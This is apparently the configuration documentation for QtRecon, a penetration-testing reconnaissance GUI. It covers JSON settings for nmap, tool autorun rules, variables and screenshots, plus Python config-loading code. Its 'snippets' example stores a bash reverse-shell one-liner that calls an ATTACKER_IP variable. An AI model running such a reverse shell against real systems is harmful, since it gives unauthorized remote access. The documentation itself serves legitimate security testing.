Configuration - QtRecon

QtRecon uses a JSON configuration file to manage application settings, binary paths, custom tools, and automation rules.

Configuration file location

The configuration file is stored at:

~/.config/qtrecon/conf.json

If the XDG_CONFIG_HOME environment variable is set, QtRecon uses that location instead:

$XDG_CONFIG_HOME/qtrecon/conf.json

If no configuration file exists, QtRecon automatically creates one from the default template conf.json.example.

Configuration structure

The configuration file is organized into several main sections:

core_binaries

Defines paths to essential system binaries:

"core_binaries": {
  "nmap": {
    "binary": "/usr/bin/nmap",
    "args": []
  },
  "terminal": {
    "binary": "/usr/bin/konsole",
    "args": ["-e"]
  },
  "graphical_su": {
    "binary": "/usr/bin/kdesu",
    "args": []
  }
}

Fields:

nmap: Path to the nmap binary and default arguments
terminal: Terminal emulator for detached jobs
graphical_su: Graphical sudo tool for privileged operations

user_binaries

Defines custom tools and scripts you can execute against targets:

"user_binaries": {
  "nikto": {
    "name": "Nikto",
    "binary": "/usr/bin/nikto",
    "args": ["-h", "%%%IP%%%", "-p", "%%%PORT%%%"],
    "detached": false,
    "in_terminal": false,
    "edit_before_launch": false,
    "working_directory": ""
  }
}

Fields:

name: Display name in the UI
binary: Full path to the executable
args: Command-line arguments with variable substitution
detached: If true, runs in external window; if false, captures output in tab
in_terminal: If true, launches in configured terminal emulator
edit_before_launch: If true, prompts to review/edit command before execution
working_directory: Working directory for the process

You can use variables in arguments like %%%IP%%%, %%%PORT%%%, %%%HOSTNAME%%%, and custom user variables. See the Variables page for details.

ports_associations

Maps port numbers to their common service names:

"ports_associations": {
  "21": "ftp",
  "22": "ssh",
  "80": "http",
  "443": "https"
}

This helps QtRecon display service names alongside port numbers in the interface.

autorun

Defines automation rules to execute tools automatically when services are discovered:

"autorun": {
  "tcp": {
    "80": ["nikto", "dirb"],
    "443": ["nikto", "sslscan"],
    "any": ["nmap-scripts"]
  },
  "udp": {
    "161": ["snmpwalk"]
  }
}

Structure:

Protocol level (tcp or udp)
Port number or any for all ports
Array of tool names from user_binaries

Autorun executes automatically when enabled in user preferences. Ensure your tools are properly configured to avoid running unintended commands.

user_prefs

Application behavior preferences:

"user_prefs": {
  "enable_autorun": true,
  "enable_autorun_on_xml_import": false,
  "confirm_before_tab_removal": true,
  "dev_null_as_stdin": true,
  "remove_nmap_xml_files_after_scan": false,
  "delete_logs_on_save": false,
  "autosave": false,
  "autosave_interval": 300000,
  "preferred_interfaces": ["tun0", "eth0"],
  "preferred_lport": 9001,
  "monospaced_fonts": "Hack, DejaVu Sans Mono, Courier"
}

Fields:

enable_autorun: Enable automatic tool execution on scan completion
enable_autorun_on_xml_import: Run autorun rules when importing XML files
confirm_before_tab_removal: Prompt before closing tabs
dev_null_as_stdin: Redirect stdin to /dev/null for jobs
remove_nmap_xml_files_after_scan: Delete nmap output files after processing
delete_logs_on_save: Remove logs when saving workspace
autosave: Enable automatic workspace saving
autosave_interval: Autosave interval in milliseconds (default: 5 minutes)
preferred_interfaces: Network interfaces for reverse shells
preferred_lport: Default listening port for reverse shells
monospaced_fonts: Font family for terminal output

user_variables

Custom variables for use in tool arguments:

"user_variables": {
  "ATTACKER_IP": "10.10.14.5",
  "WORDLIST": "/usr/share/wordlists/rockyou.txt",
  "OUTPUT_DIR": "/tmp/recon"
}

These can be referenced in user_binaries args using the %%%VARIABLE_NAME%%% syntax.

snippets

Stored code snippets and commands for quick access:

"snippets": {
  "reverse_shell": "bash -i >& /dev/tcp/%%%ATTACKER_IP%%%/%%%LPORT%%% 0>&1",
  "python_server": "python3 -m http.server 8000"
}

screenshots

Screenshot capture settings:

"screenshots": {
  "engine": "qt",
  "interval": 15,
  "dst_folder": "/home/user/Screenshots/",
  "work_folder": "/tmp/",
  "pixel_threshold_different_images": 500,
  "check_locked_screen": true,
  "ignore_if_active_window": true,
  "convert_png_to_jpg": true,
  "include_processes": true,
  "include_ocr": false
}

nmap_options

Default nmap scan configuration:

"nmap_options": {
  "ports": "T:-,U:53,161,631",
  "type": "-sS",
  "speed": "-T3",
  "additional_args": "-v --min-rate 500",
  "skip_host_discovery": false,
  "version_probing": true,
  "default_scripts": true,
  "os_detection": true,
  "tcp_and_udp": true
}

Fields:

ports: Port specification (T: for TCP, U: for UDP)
type: Scan type (-sS, -sT, etc.)
speed: Timing template (-T0 through -T5)
additional_args: Extra nmap arguments
skip_host_discovery: Use -Pn flag
version_probing: Enable -sV flag
default_scripts: Enable -sC flag
os_detection: Enable -O flag
tcp_and_udp: Scan both TCP and UDP

Loading configuration

The configuration is loaded at application startup:

core/config.py

@staticmethod
def load_config(use_default_configuration=False, load_previous_conf_if_current_fails=False):
    if (value := os.environ.get("XDG_CONFIG_HOME")) and (path := Path(value)).is_absolute():
        root_config_folder = path / "qtrecon"
    else:
        root_config_folder = Path.home() / ".config/qtrecon"
    
    Config.config_root_path = root_config_folder
    
    try:
        with open(f'{root_config_folder}/{configuration_file_to_use}', 'r') as f:
            conf = json.load(f)
    except FileNotFoundError:
        # Falls back to default configuration
        Config.load_config(use_default_configuration=True)

Configuration validation

QtRecon validates the configuration structure on load:

core/config.py

@staticmethod
def check_config_structure(structure: dict, config: dict) -> bool:
    if isinstance(structure, dict) and isinstance(config, dict):
        return all(k in config and Config.check_config_structure(structure[k], config[k]) 
                   for k in structure)

If validation fails, the application exits with an error message.

Binary validation

After loading, QtRecon checks that all configured binaries exist and are executable:

core/config.py

@staticmethod
def check_binaries() -> dict:
    ret = {'not_found': [], 'not_executable': []}
    for binary_type in ['core_binaries', 'user_binaries']:
        for binary in Config.config[binary_type]:
            if not os.path.isfile(Config.config[binary_type][binary]['binary']):
                ret['not_found'].append(Config.config[binary_type][binary]['binary'])
            elif not os.access(Config.config[binary_type][binary]['binary'], os.X_OK):
                ret['not_executable'].append(Config.config[binary_type][binary]['binary'])
    return ret

Missing or non-executable binaries are logged at startup.

Reloading configuration

You can reload the configuration without restarting the application:

core/controller.py

def reload_conf(self):
    Config.load_config(False, True)
    self.view.setup_ui()
    self.ui.statusBar().showMessage('Reloaded configuration from disk !', 5000)

This is useful when you edit conf.json manually while QtRecon is running.

Use File → Reload configuration from the menu to apply changes without restarting.

​Configuration file location

​Configuration structure

​core_binaries

​user_binaries

​ports_associations

​autorun

​user_prefs

​user_variables

​snippets

​screenshots

​nmap_options

​Loading configuration

​Configuration validation

​Binary validation

​Reloading configuration

Configuration file location

Configuration structure

core_binaries

user_binaries

ports_associations

autorun

user_prefs

user_variables

snippets

screenshots

nmap_options

Loading configuration

Configuration validation

Binary validation

Reloading configuration